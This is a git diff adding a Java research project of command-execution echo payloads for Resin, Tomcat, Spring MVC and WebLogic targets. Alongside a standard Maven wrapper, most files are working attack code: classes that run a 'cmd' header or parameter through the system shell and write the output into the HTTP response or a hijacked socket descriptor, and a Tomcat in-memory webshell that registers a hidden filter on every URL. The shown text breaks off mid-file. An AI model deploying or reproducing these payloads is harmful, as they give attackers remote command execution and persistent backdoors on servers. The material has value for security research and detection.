new file mode 100644
index 0000000..c8d4337
--- /dev/null
+++ "b/java\345\233\236\346\230\276/mvnw.cmd"
@@ -0,0 +1,182 @@
+@REM ----------------------------------------------------------------------------
+@REM Licensed to the Apache Software Foundation (ASF) under one
+@REM or more contributor license agreements. See the NOTICE file
+@REM distributed with this work for additional information
+@REM regarding copyright ownership. The ASF licenses this file
+@REM to you under the Apache License, Version 2.0 (the
+@REM "License"); you may not use this file except in compliance
+@REM with the License. You may obtain a copy of the License at
+@REM
+@REM https://www.apache.org/licenses/LICENSE-2.0
+@REM
+@REM Unless required by applicable law or agreed to in writing,
+@REM software distributed under the License is distributed on an
+@REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+@REM KIND, either express or implied. See the License for the
+@REM specific language governing permissions and limitations
+@REM under the License.
+@REM ----------------------------------------------------------------------------
+
+@REM ----------------------------------------------------------------------------
+@REM Maven Start Up Batch script
+@REM
+@REM Required ENV vars:
+@REM JAVA_HOME - location of a JDK home dir
+@REM
+@REM Optional ENV vars
+@REM M2_HOME - location of maven2's installed home dir
+@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands
+@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a keystroke before ending
+@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven
+@REM e.g. to debug Maven itself, use
+@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
+@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files
+@REM ----------------------------------------------------------------------------
+
+@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'
+@echo off
+@REM set title of command window
+title %0
+@REM enable echoing by setting MAVEN_BATCH_ECHO to 'on'
+@if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO%
+
+@REM set %HOME% to equivalent of $HOME
+if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%")
+
+@REM Execute a user defined script before this one
+if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre
+@REM check for pre script, once with legacy .bat ending and once with .cmd ending
+if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat"
+if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd"
+:skipRcPre
+
+@setlocal
+
+set ERROR_CODE=0
+
+@REM To isolate internal variables from possible post scripts, we use another setlocal
+@setlocal
+
+@REM ==== START VALIDATION ====
+if not "%JAVA_HOME%" == "" goto OkJHome
+
+echo.
+echo Error: JAVA_HOME not found in your environment. >&2
+echo Please set the JAVA_HOME variable in your environment to match the >&2
+echo location of your Java installation. >&2
+echo.
+goto error
+
+:OkJHome
+if exist "%JAVA_HOME%\bin\java.exe" goto init
+
+echo.
+echo Error: JAVA_HOME is set to an invalid directory. >&2
+echo JAVA_HOME = "%JAVA_HOME%" >&2
+echo Please set the JAVA_HOME variable in your environment to match the >&2
+echo location of your Java installation. >&2
+echo.
+goto error
+
+@REM ==== END VALIDATION ====
+
+:init
+
+@REM Find the project base dir, i.e. the directory that contains the folder ".mvn".
+@REM Fallback to current working directory if not found.
+
+set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%
+IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir
+
+set EXEC_DIR=%CD%
+set WDIR=%EXEC_DIR%
+:findBaseDir
+IF EXIST "%WDIR%"\.mvn goto baseDirFound
+cd ..
+IF "%WDIR%"=="%CD%" goto baseDirNotFound
+set WDIR=%CD%
+goto findBaseDir
+
+:baseDirFound
+set MAVEN_PROJECTBASEDIR=%WDIR%
+cd "%EXEC_DIR%"
+goto endDetectBaseDir
+
+:baseDirNotFound
+set MAVEN_PROJECTBASEDIR=%EXEC_DIR%
+cd "%EXEC_DIR%"
+
+:endDetectBaseDir
+
+IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig
+
+@setlocal EnableExtensions EnableDelayedExpansion
+for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a
+@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%
+
+:endReadAdditionalConfig
+
+SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe"
+set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar"
+set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
+
+set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar"
+
+FOR /F "tokens=1,2 delims==" %%A IN ("%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties") DO (
+ IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B
+)
+
+@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
+@REM This allows using the maven wrapper in projects that prohibit checking in binary data.
+if exist %WRAPPER_JAR% (
+ if "%MVNW_VERBOSE%" == "true" (
+ echo Found %WRAPPER_JAR%
+ )
+) else (
+ if not "%MVNW_REPOURL%" == "" (
+ SET DOWNLOAD_URL="%MVNW_REPOURL%/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar"
+ )
+ if "%MVNW_VERBOSE%" == "true" (
+ echo Couldn't find %WRAPPER_JAR%, downloading it ...
+ echo Downloading from: %DOWNLOAD_URL%
+ )
+
+ powershell -Command "&{"^
+ "$webclient = new-object System.Net.WebClient;"^
+ "if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {"^
+ "$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');"^
+ "}"^
+ "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"^
+ "}"
+ if "%MVNW_VERBOSE%" == "true" (
+ echo Finished downloading %WRAPPER_JAR%
+ )
+)
+@REM End of extension
+
+@REM Provide a "standardized" way to retrieve the CLI args that will
+@REM work with both Windows and non-Windows executions.
+set MAVEN_CMD_LINE_ARGS=%*
+
+%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*
+if ERRORLEVEL 1 goto error
+goto end
+
+:error
+set ERROR_CODE=1
+
+:end
+@endlocal & set ERROR_CODE=%ERROR_CODE%
+
+if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost
+@REM check for post script, once with legacy .bat ending and once with .cmd ending
+if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat"
+if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd"
+:skipRcPost
+
+@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'
+if "%MAVEN_BATCH_PAUSE%" == "on" pause
+
+if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE%
+
+exit /B %ERROR_CODE%
diff --git "a/java\345\233\236\346\230\276/pom.xml" "b/java\345\233\236\346\230\276/pom.xml"
new file mode 100644
index 0000000..d0167b3
--- /dev/null
+++ "b/java\345\233\236\346\230\276/pom.xml"
@@ -0,0 +1,41 @@
+
+
+ 4.0.0
+
+ org.springframework.boot
+ spring-boot-starter-parent
+ 2.5.5
+
+
+ com.firebasky
+ echo
+ 0.0.1-SNAPSHOT
+ echo
+ echo for java exec
+
+ 1.8
+
+
+
+ org.springframework.boot
+ spring-boot-starter-web
+
+
+
+ org.springframework.boot
+ spring-boot-starter-test
+ test
+
+
+
+
+
+
+ org.springframework.boot
+ spring-boot-maven-plugin
+
+
+
+
+
diff --git "a/java\345\233\236\346\230\276/resin/Echo_HttpRequest.java" "b/java\345\233\236\346\230\276/resin/Echo_HttpRequest.java"
new file mode 100644
index 0000000..5d823fd
--- /dev/null
+++ "b/java\345\233\236\346\230\276/resin/Echo_HttpRequest.java"
@@ -0,0 +1,102 @@
+package com.firebasky.exp;
+
+/**
+ * TargetObject = {com.caucho.env.thread2.ResinThread2}
+ * ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}
+ * ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
+ * ---> [6] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}
+ * ---> value = {com.caucho.server.http.HttpRequest}
+ */
+
+/**
+ * resin 回显
+ * 1.线程对象中request
+ * 2.request对象存储在静态变量或者特定类里
+ */
+public class Echo_HttpRequest {
+ static {
+ try {
+ getResponse();
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+ //线程对象中request
+ public static void getResponse() throws Exception {
+ Thread thread = Thread.currentThread();
+ java.lang.reflect.Field threadLocals = Thread.class.getDeclaredField("threadLocals");
+ threadLocals.setAccessible(true);
+ Object threadLocalMap = threadLocals.get(thread);
+
+ Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
+ java.lang.reflect.Field tableField = threadLocalMapClazz.getDeclaredField("table");
+ tableField.setAccessible(true);
+ Object[] objects = (Object[]) tableField.get(threadLocalMap);
+
+ Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
+ java.lang.reflect.Field entryValueField = entryClass.getDeclaredField("value");
+ entryValueField.setAccessible(true);
+
+ for (Object object : objects) {
+ if (object != null) {
+ Object valueObject = entryValueField.get(object);
+ if (valueObject != null) {
+ if (valueObject.getClass().getName().equals("com.caucho.server.http.HttpRequest")) {
+ com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest)valueObject;
+ //执行命令
+ String cmd1 = httpRequest.getHeader("cmd");
+ String[] cmd = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd1} : new String[]{"cmd.exe", "/c",cmd1};
+ java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
+ java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
+ String output = s.hasNext() ? s.next() : "";
+ //response
+ com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse();
+ httpResponse.setHeader("Content-Length", output.length() + "");
+ java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream");
+ method.setAccessible(true);
+ com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse);
+ httpResponseStream.write(output.getBytes(), 0, output.length());
+ httpResponseStream.close();
+ }
+ }
+ }
+ }
+ }
+
+ //request对象存储在静态变量或者特定类里
+ public static void getResponse2() throws Exception {
+ Class tcpsocketLinkClazz = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.network.listen.TcpSocketLink");
+ java.lang.reflect.Method getCurrentRequestM = tcpsocketLinkClazz.getMethod("getCurrentRequest");
+ Object currentRequest = getCurrentRequestM.invoke(null);
+ java.lang.reflect.Field f = currentRequest.getClass().getSuperclass().getDeclaredField("_responseFacade");
+ f.setAccessible(true);
+ Object response = f.get(currentRequest);
+ java.lang.reflect.Method getWriterM = response.getClass().getMethod("getWriter");
+ java.io.PrintWriter w = ( java.io.PrintWriter) getWriterM.invoke(response);
+ //response
+ String[] cmd = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", "whoami"} : new String[]{"cmd.exe", "/c","whoami"};
+ java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
+ java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
+ String output = s.hasNext() ? s.next() : "";
+ //输出
+ w.write(output);
+ }
+
+ //request对象存储在静态变量或者特定类里
+ public static void getResponse3() throws Exception {
+ Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
+ java.lang.reflect.Method getContextRequest = si.getMethod("getContextRequest");
+ com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl) getContextRequest.invoke(null);
+ try {
+ if (req.getHeader("cmd") != null) {
+ String cmd = req.getHeader("cmd");
+ javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse) req.getServletResponse();
+ java.io.PrintWriter out = rep.getWriter();
+ out.println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next());
+ }
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+
+}
diff --git "a/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/EchoApplication.java" "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/EchoApplication.java"
new file mode 100644
index 0000000..c64a345
--- /dev/null
+++ "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/EchoApplication.java"
@@ -0,0 +1,13 @@
+package com.firebasky.echo;
+
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+
+@SpringBootApplication
+public class EchoApplication {
+
+ public static void main(String[] args) {
+ SpringApplication.run(EchoApplication.class, args);
+ }
+
+}
diff --git "a/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/controller/Alltomcat.java" "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/controller/Alltomcat.java"
new file mode 100644
index 0000000..f471fbf
--- /dev/null
+++ "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/controller/Alltomcat.java"
@@ -0,0 +1,83 @@
+package com.firebasky.echo.controller;
+
+/**
+ * 局限 数据大小/tomcat7
+ */
+
+public class Alltomcat {
+ public Alltomcat() {
+ try{
+ //传递命令的参数名
+ String pass="cmd";
+ //WebappClassLoaderBase
+ org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
+
+ //ApplicationContext
+ org.apache.catalina.Context context=webappClassLoaderBase.getResources().getContext();
+ java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
+ contextField.setAccessible(true);
+ org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(context);
+
+ //StandardService
+ java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
+ serviceField.setAccessible(true);
+ org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
+
+ //Connector
+ org.apache.catalina.connector.Connector connectors[]=standardService.findConnectors();
+
+ //筛选Connector
+ for (int i=0;i threadLocalRequest = (ThreadLocal) lastServicedRequest.get(null);
+ ThreadLocal threadLocalResponse = (ThreadLocal) lastServicedResponse.get(null);
+ javax.servlet.ServletRequest request = threadLocalRequest.get();
+ javax.servlet.ServletResponse response = threadLocalResponse.get();
+
+ String cmd=request.getParameter("cmd");
+
+ if(cmd!=null){
+ String[] cmds=null;
+
+ if(System.getProperty("os.name").toLowerCase().contains("win")){
+ cmds=new String[]{"cmd.exe", "/c", cmd};
+ }else{
+ cmds=new String[]{"/bin/bash", "-c", cmd};
+ }
+
+ java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
+ java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
+ String output = s.hasNext() ? s.next() : "";
+
+ java.io.Writer writer = response.getWriter();
+ //目前得到的response是org.apache.catalina.connector.ResponseFacade,其封装了org.apache.catalina.connector.Response,要修改的usingWriter字段在后者中
+ java.lang.reflect.Field r=response.getClass().getDeclaredField("response");
+ r.setAccessible(true);
+ java.lang.reflect.Field usingWriter = Class.forName("org.apache.catalina.connector.Response").getDeclaredField("usingWriter");
+ usingWriter.setAccessible(true);
+ usingWriter.set(r.get(response), Boolean.FALSE);
+ //解决报错。。
+ writer.write(output);
+ writer.flush();
+ writer.close();
+ }
+ }
+
+ }catch (Exception e){
+ e.printStackTrace();
+ }
+ return "test";
+ }
+}
\ No newline at end of file
diff --git "a/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/controller/demo.java" "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/controller/demo.java"
new file mode 100644
index 0000000..10f9e08
--- /dev/null
+++ "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/controller/demo.java"
@@ -0,0 +1,12 @@
+package com.firebasky.echo.controller;
+
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+@RestController
+public class demo {
+ @RequestMapping("/demo")
+ public void demo() throws InterruptedException {
+ new Alltomcat();
+ }
+}
diff --git "a/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/controller/socket.java" "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/controller/socket.java"
new file mode 100644
index 0000000..72e7f63
--- /dev/null
+++ "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/controller/socket.java"
@@ -0,0 +1,56 @@
+package com.firebasky.echo.controller;
+
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+@RestController
+public class socket {
+ @RequestMapping("/socket")
+ public String test(){
+ try{
+ //获取文件描述符 局限有点大 ubu 没有成功。。
+ String[] cmd = new String[]{"/bin/sh","-c","inode=`cat /proc/net/tcp|awk '{if($10>0)print}'|awk '{print $3,$10}'|grep -i 22B8|awk '{print $2}'`;fd=`ls -l /proc/$PPID/fd|grep $inode|awk '{print $9}'`;echo -n $fd"};
+ //22B8===> 8888
+ // curl --local-port 8888 target
+ java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
+ java.io.InputStreamReader isr = new java.io.InputStreamReader(in);
+ java.io.BufferedReader br = new java.io.BufferedReader(isr);
+ StringBuilder stringBuilder = new StringBuilder();
+ String line;
+ while ((line = br.readLine()) != null){
+ stringBuilder.append(line);
+ }
+ int fd = Integer.valueOf(stringBuilder.toString()).intValue();
+
+
+ //获取命令执行结果
+ cmd = new String[]{"/bin/sh","-c","whoami"};
+ in = Runtime.getRuntime().exec(cmd).getInputStream();
+ isr = new java.io.InputStreamReader(in);
+ br = new java.io.BufferedReader(isr);
+ stringBuilder = new StringBuilder();
+ while ((line = br.readLine()) != null){
+ stringBuilder.append(line);
+ }
+ String result = stringBuilder.toString();
+
+ //拼装成正常的HTTP响应
+ String response = "HTTP/1.1 200 OK\r\n"
+ + "Content-Type: text/html\r\n"
+ + "Content-Length: " + result.length()
+ + "\r\n\r\n"
+ + result
+ + "\r\n\r\n";
+
+ //写入socket
+ java.lang.reflect.Constructor c=java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
+ c.setAccessible(true);
+ java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(fd)}));
+ os.write(response.getBytes());
+ os.close();
+ }catch (Exception e){
+ e.printStackTrace();
+ }
+ return "test";
+ }
+}
\ No newline at end of file
diff --git "a/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/controller/socket_v2.java" "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/controller/socket_v2.java"
new file mode 100644
index 0000000..07bb889
--- /dev/null
+++ "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/controller/socket_v2.java"
@@ -0,0 +1,145 @@
+package com.firebasky.echo.controller;
+
+import java.io.*;
+import java.lang.reflect.Constructor;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.ArrayList;
+import java.util.List;
+
+// 将被转换成字节的恶意类
+// 调用 com.weblogic.exp.XmlExp.say("id")
+public class socket_v2 {
+ public socket_v2() throws Exception {
+ say("whoami");
+ }
+
+ public static String getInode() throws IOException {
+ File f1 = new File("/proc/thread-self/net/tcp");
+ BufferedReader br = new BufferedReader(new FileReader(f1));
+ String line, inode = "";
+
+ String result = "";
+ while ((line = br.readLine()) != null) {
+ String[] lineArr = line.split("\\s+");
+ String remoteAddr = lineArr[3];
+
+ result += line + "\n";
+ // 按源IP/PORT过滤,在各层转发中会变,这个方法不准
+ //https://tool.520101.com/wangluo/jinzhizhuanhuan/
+ if (remoteAddr.contains("1748878")) {
+ inode = lineArr[10];
+ if (!inode.equals("0")) {
+ break;
+ }
+ }
+ }
+ return inode;
+ }
+
+ public static Boolean isClass(String className) {
+ try {
+ Class.forName(className);
+ return true;
+ } catch (ClassNotFoundException e) {
+ return false;
+ }
+ }
+
+ public static FileDescriptor getFd(File file) throws Exception {
+ Class clazz = Class.forName("java.io.FileDescriptor");
+ Constructor m = clazz.getDeclaredConstructor(new Class[]{Integer.TYPE});
+ m.setAccessible(true);
+
+ String[] fdArr = file.toString().split("/");
+ String fdId = fdArr[fdArr.length - 1];
+ FileDescriptor fd = (FileDescriptor) m.newInstance(new Object[]{new Integer(fdId)});
+ return fd;
+ }
+
+ public static File getFdFile(String inode) throws Exception {
+ String tmp = "";
+ if (isClass("java.nio.file.Path")) {
+ File file = new File("/proc/thread-self/fd");
+ File[] fs = file.listFiles();
+
+ for (File f : fs) {
+ Path path = Paths.get(f.toString(), new String[]{""});
+ String link = Files.readSymbolicLink(path).toString();
+
+ if (link.contains(inode)) {
+ return f;
+ }
+ }
+ } else {
+ File file = new File("/proc");
+ File[] fs = file.listFiles();
+
+ for (File f1 : fs) {
+ if (!f1.isDirectory()) continue;
+ if (!f1.canRead()) continue;
+ if (!f1.getPath().matches("/proc/[0-9]+")) continue;
+
+ File f2 = new File(f1.getPath() + "/fd/");
+ for (File f3 : f2.listFiles()) {
+ if (!f3.exists()) continue;
+ if (f3.isDirectory()) continue;
+ if (!f3.canWrite()) continue;
+ String id = f3.getName();
+ if (id == null || id.length() == 0) continue;
+ try {
+ if (Long.parseLong(id) < 3) continue;
+ } catch (Exception e) {
+ continue;
+ }
+ String cmd = "readlink " + f3.getPath();
+ BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd}).getInputStream()));
+ String line = br.readLine();
+ if (line.contains(inode)) {
+ return f3;
+ }
+ }
+ }
+ }
+
+ return new File(tmp);
+ }
+
+ public static void writeFd(FileDescriptor fd, String body) throws Exception {
+ String response = "HTTP/1.1 200 OK\r\n"
+ + "Content-Type: text/html\r\n"
+ + "Content-Length: " + body.length()
+ + "\r\n\r\n"
+ + body
+ + "\r\n\r\n";
+
+ FileOutputStream os = new FileOutputStream(fd);
+ os.write(response.getBytes());
+ }
+
+ public static String ShellExec(String command) throws IOException {
+
+ List cmds = new ArrayList();
+ cmds.add("/bin/bash");
+ cmds.add("-c");
+ cmds.add(command);
+ ProcessBuilder pb = new ProcessBuilder(cmds);
+ pb.redirectErrorStream(true);
+ Process proc = pb.start();
+
+ byte[] out = new byte[1024 * 10];
+ proc.getInputStream().read(out);
+ return new String(out);
+ }
+
+ public static void say(String cmd) throws Exception {
+ String response = ShellExec(cmd);
+
+ String inode = getInode();
+ File file = getFdFile(inode);
+ FileDescriptor fd = getFd(file);
+ writeFd(fd, response);
+ }
+}
+
diff --git "a/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/controller/springmvc.java" "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/controller/springmvc.java"
new file mode 100644
index 0000000..42e7503
--- /dev/null
+++ "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/controller/springmvc.java"
@@ -0,0 +1,37 @@
+package com.firebasky.echo.controller;
+
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+import org.springframework.web.context.request.RequestContextHolder;
+import org.springframework.web.context.request.ServletRequestAttributes;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+
+/**
+ * springmvc 利用
+ */
+@RestController
+public class springmvc {
+ @RequestMapping("/springmvc")
+ public void springmvc()throws Exception {
+ HttpServletRequest request =((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
+ HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getResponse();
+ String resHeader=request.getParameter ( "cmd" );
+ java.io.InputStream in = java.lang.Runtime.getRuntime().exec(resHeader).getInputStream();
+ BufferedReader br = null;
+ br = new BufferedReader (new InputStreamReader(in, "GBK"));
+ String line;
+ StringBuilder sb = new StringBuilder();
+ while ((line = br.readLine()) != null) {
+ sb.append(line);
+ sb.append("\n");
+ }
+ java.io.PrintWriter out = new java.io.PrintWriter(response.getOutputStream());
+ out.write(sb.toString ());
+ out.flush();
+ out.close();
+ }
+}
diff --git "a/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/controller/webshell/tomcat.java" "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/controller/webshell/tomcat.java"
new file mode 100644
index 0000000..09b45de
--- /dev/null
+++ "b/java\345\233\236\346\230\276/src/main/java/com/firebasky/echo/controller/webshell/tomcat.java"
@@ -0,0 +1,130 @@
+package com.firebasky.echo.controller.webshell;
+
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+/**
+ * 先访问两次webshell路由(第一次请求修改属性,第二次得到request注册filter)
+ * 然后带上cmd参数访问任意url即可
+ * shiro不成功。。。
+ */
+
+@RestController
+public class tomcat {
+ @RequestMapping("/webshell")
+ public String tomcat() {
+ try{
+ //获取各字段
+ java.lang.reflect.Field WRAP_SAME_OBJECT=Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
+ Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
+ java.lang.reflect.Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest");
+ java.lang.reflect.Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse");
+
+ //去掉final修饰符
+ java.lang.reflect.Field modifiers = java.lang.reflect.Field.class.getDeclaredField("modifiers");
+ modifiers.setAccessible(true);
+ modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
+ modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
+ modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
+
+ //设置允许访问
+ WRAP_SAME_OBJECT.setAccessible(true);
+ lastServicedRequest.setAccessible(true);
+ lastServicedResponse.setAccessible(true);
+
+ //如果是第一次请求,则修改各字段,否则获取cmd参数执行命令并返回结果
+ if(!WRAP_SAME_OBJECT.getBoolean(null)){
+ WRAP_SAME_OBJECT.setBoolean(null,true);
+ lastServicedRequest.set(null,new ThreadLocal());
+ lastServicedResponse.set(null,new ThreadLocal());
+ }else{
+ ThreadLocal threadLocalRequest = (ThreadLocal) lastServicedRequest.get(null);
+ javax.servlet.ServletRequest request = threadLocalRequest.get();
+
+ try {
+ javax.servlet.ServletContext servletContext=request.getServletContext();
+
+ //判断是否已有该名字的filter,有则不再添加
+ if (servletContext.getFilterRegistration("webShell") == null) {
+
+ class WebShell implements javax.servlet.Filter{
+
+ public void doFilter(javax.servlet.ServletRequest request, javax.servlet.ServletResponse response, javax.servlet.FilterChain chain) throws java.io.IOException, javax.servlet.ServletException {
+ System.out.println("filter");
+ String cmd=request.getParameter("cmd");
+
+ if(cmd!=null) {
+ String[] cmds = null;
+
+ if (System.getProperty("os.name").toLowerCase().contains("win")) {
+ cmds = new String[]{"cmd.exe", "/c", cmd};
+ } else {
+ cmds = new String[]{"sh", "-c", cmd};
+ }
+
+ java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
+ java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
+ String output = s.hasNext() ? s.next() : "";
+ java.io.Writer writer = response.getWriter();
+ writer.write(output);
+ writer.flush();
+ writer.close();
+ }
+
+ chain.doFilter(request, response);
+ }
+ }
+
+ //因为门面模式的使用,此处servletContext实际是ApplicationContextFacade,需要提取ApplicationContext
+ java.lang.reflect.Field contextField=servletContext.getClass().getDeclaredField("context");
+ contextField.setAccessible(true);
+ org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
+
+ //获取ApplicationContext中的StandardContext
+ contextField=applicationContext.getClass().getDeclaredField("context");
+ contextField.setAccessible(true);
+ org.apache.catalina.core.StandardContext standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
+
+ //修改state
+ java.lang.reflect.Field stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
+ stateField.setAccessible(true);
+ stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
+
+ //注册filter
+ javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("webShell", new WebShell());
+ filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});
+
+ //添加到filterConfigs
+ java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
+ filterStartMethod.setAccessible(true);
+ filterStartMethod.invoke(standardContext, null);
+
+ //调整filter位置
+ org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext.findFilterMaps();
+ for (int i = 0; i < filterMaps.length; i++) {
+ if (filterMaps[i].getFilterName().equalsIgnoreCase("webShell")) {
